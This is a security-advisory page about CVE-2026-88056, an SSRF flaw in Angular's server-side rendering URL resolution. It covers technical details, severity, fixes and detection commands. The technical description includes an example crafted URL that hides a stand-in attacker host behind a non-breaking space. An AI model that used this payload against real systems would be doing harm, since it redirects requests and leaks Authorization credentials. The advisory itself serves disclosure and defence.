Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-88056 critical CVSS 9.1

SSRF (Server-Side Request Forgery) in @angular/platform-server (CVE-2026-88056)

Summary

SSRF in @angular/platform-server (CVE-2026-88056). Confidential information can be exposed externally. Exploitable via resolveUrl.

Original description

The description as published by the source.

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

  • Reachability: The vulnerability affects Angular Server-Side Render…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-88056 has been found in @angular/platform-server.
Attackers can target a specific entry point like resolveUrl over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 9.1/10.
What to do: apply the vendor's official patched release.
If unsure, ask your IT team or search "@angular/platform-server CVE-2026-88056" on the vendor's site.

CVE-2026-88056 (@angular/platform-server) — CWE-918 / CVSS v3 9.1
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: resolveUrl / parseUrl / relativeUrlsTransformerInterceptorFn / Authorization
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

SSRF (CWE-918) exists in @angular/platform-server. Attackers reach the vulnerable code path via resolveUrl without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of @angular/platform-server. Attack surface: resolveUrl / parseUrl / relativeUrlsTransformerInterceptorFn / Authorization.

🔥 Severity

Severity: Critical (CVSS 9.1/10). Confidential information can be exposed externally.

🔧 How to fix

Update to the patched release per vendor advisory.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r '@angular/platform-server' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r '@angular/platform-server' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で @angular/platform-server を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm @angular/platform-server
[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details